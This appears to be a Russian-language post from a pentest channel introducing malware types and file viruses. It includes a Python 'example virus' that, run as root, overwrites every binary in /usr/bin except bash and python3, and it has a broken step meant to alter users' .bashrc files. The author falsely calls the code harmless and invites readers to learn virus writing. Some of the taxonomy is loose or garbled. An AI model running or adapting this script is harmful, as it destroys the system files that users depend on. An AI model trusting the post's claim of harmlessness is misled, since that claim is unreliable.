Вредоносное ПО. Часть первая: файловые вирусы.
ק𝕮𝖔𝖇𝖗𝖗𝖗𝖆§×, Liberte🐍Добрый день, Дамы и Господа, сегодня разберём тему компьютерной вирусологии.🐍
![](/file/9820f534b91236ba26677.jpg)
Так что же такое вирус? Это один из видов ВПО (Вредоносное Программное Обеспечение), который способен не только создавать копии самого себя, но так же может самопроизвольно внедрятся в код других программ, системные области памяти, загрузочные сектора жесткого диска и распространяться по разнообразным каналам связи, при этом производится повреждение/разрушение каталогов и системных файлов. Различаются резидентные и нерезидентные вирусы.
Резидентные вирусы — этот тип имеет свойство оставаться в памяти, постоянно следить за системой и перемещаться по ней, за счёт чего их крайне трудно обнаружить (данный тип применим только к MS-DOS системам).
Нерезидентные способны лишь на разовое осуществление поиска, после чего управление передается к новому зараженному объекту (файлу, приложению).
Теперь рассмотрим существующие виды ВПО.
Список наиболее распространённого и популярного ВПО:
- Вирусы;
- Черви/NetWore;
- Трояны;
- Рекламные закладки/Adware;
- Ботнет;
- Шпионские программы/Spyware;
- Клавиатурный шпион/Key Logger;
- Логическая бомба;
- Скрытые индикаторы;
- Зомби компьютер;
- Руткит/Rootkit;
- Drive-by-Download;
- Scareware/Ransomware.
Теперь рассмотрим классификацию компьютерных вирусов:
- Файловые вирусы;
- Загрузочные;
- Сетевые;
- Макровирусы;
- Файлово-загрузочные.
Файловые вирусы. Стоило первым компьютерам стать хоть сколько-нибудь массовыми, тогда, сразу же, и появился данный тип ВПО. Из названия понятно, что под прицел для инфицирования попадали любые файлы: .exe, .bat, .sys и т.д. Такой файловый паразит внедряет свой код в тело файла (это может быть начало, середина или конец) и получает полный доступ; восстанавливает в оперативной памяти исходный процесс и продолжает путешествие по системе с целью дальнейшего заражения.
Каков же принцип работы данного вируса? Как уже было сказано, сперва происходит внедрение кода в ПО или файл. После запуска заражённой программы/файла вирус закрепляется в памяти с помощью резидентных модулей, получает управление и ищет другие объекты для заражения. Посмотрим на пример ниже:
import os # Импортируем библиотеку os для работы с системой. if os.popen("whoami").read().strip() != "root".strip(): print("Запустите программу от рута.") quit() # Проверяем выход команды "whoami". Если программа запущена от рута — продолжаем, если нет — просим пользователя запустить с рутом(sudo) и выходим из программы. binaries = os.popen("ls /usr/bin/").read().split() # Получаем список бинарников. users = os.popen("ls /home").read().split() # Получаем список пользователей. if "lost+found" in users: users.remove("lost+found") # Удаляем из списка пользователей каталог "lost+found" binaries.remove( "bash" ) binaries.remove( "python3" ) # Удаляем из списка бинарники bash и python. Они необходимы для работы вируса, программа их проигнорирует. for binary in binaries: bin = open(f"/usr/bin/{binary}", "w") bin.write(""" #!/usr/bin/bash echo "Мотылек скушал твою систему!" """) bin.close() # Теперь некоторые команды(ls, mv, cp, firefox) будут выводить наше веселое сообщение. for user in users: bashrc = open(f"/home/{user}", "a+") bashrc.write(""" #!/usr/bin/bash echo 'Мотылек скушал твою систему!' """) bashrc.close() # Редактируем у всех пользователей файл .bashrc, отвечающий за поведение командной оболочки.
Как видно из комментариев, данный код заменяет содержание бинарников в /usr/bin/
, а также в .bashrc
на выводимое (в т.ч. и при открытие терминала) сообщение «Твою систему скушал мотылек». Данный пример безобиден, но принцип работы должен быть понятен.
Так же не забываем, что у файлового вируса есть классы и подтипы:
- Перезаписывающие;
- Компаньоны;
- Черви.
Перезаписывающие: запись собственного кода вместо кода программы (только что это рассматривали), не изменяя названия исполняемого файла. В следствии этого программа просто перестаёт исполняться, а вместо этого запускает вирусный сценарий. Такие вирусы могут поражать не только исходный код, но и отдельные компоненты (.obj*, .lib, .dcu файлы), так же VCL и ActiveX компоненты.
*.obj, .lib — вирусы только записывают в эти файлы код, он становится неработоспособным для распространения, поэтому для распространения заражаются .com и .exe файлы, далее происходит «линковка» с неработоспособным файлом, с другими библиотеками и модулями. В конечном итоге получается работоспособный вирус.
Компаньоны: идентично; только, в отличие от предыдущего типа, не удаляют оригинальный файл, а перемещают/переименовывают его . Так же сначала идёт выполнение вирусного кода, но после управление передаётся оригинальной программе. PATH-компаньоны размещают свои копии в основном каталоге Windows, так как он является самым первым и в нём будет происходить поиск для запуска.
Черви: создаёт копии самого себя (в т.ч. и по сети), может маскироваться под картинку, видео или даже программу — под любой полезный файл. Записывает копии в различные архивы (.zip, .rar, .arj и т.д.). Иногда характерен снижением производительности, но в большинстве своём старается распространиться и остаться незамеченным.
Вот и всё. Сегодня мы разобрали: что такое вирус, какими бывают вирусы, что такое файловый вирус и как он устроен, рассмотрели пример на языке Python и немного погрузились в теорию. В следующих частях будут рассмотрены другие классификации, а пока, если хотите узнать больше или хотите научиться писать вирусы самостоятельно, можете обратиться к интересной литературе.
P.S. SHADOW REFLECTIONS🐍.
Наш пентест-чат. Обмен знаниями и общение.
Интересный факт: к 1990 году было известно около 50 вирусов, в конце 90-х их число возросло до 48.000.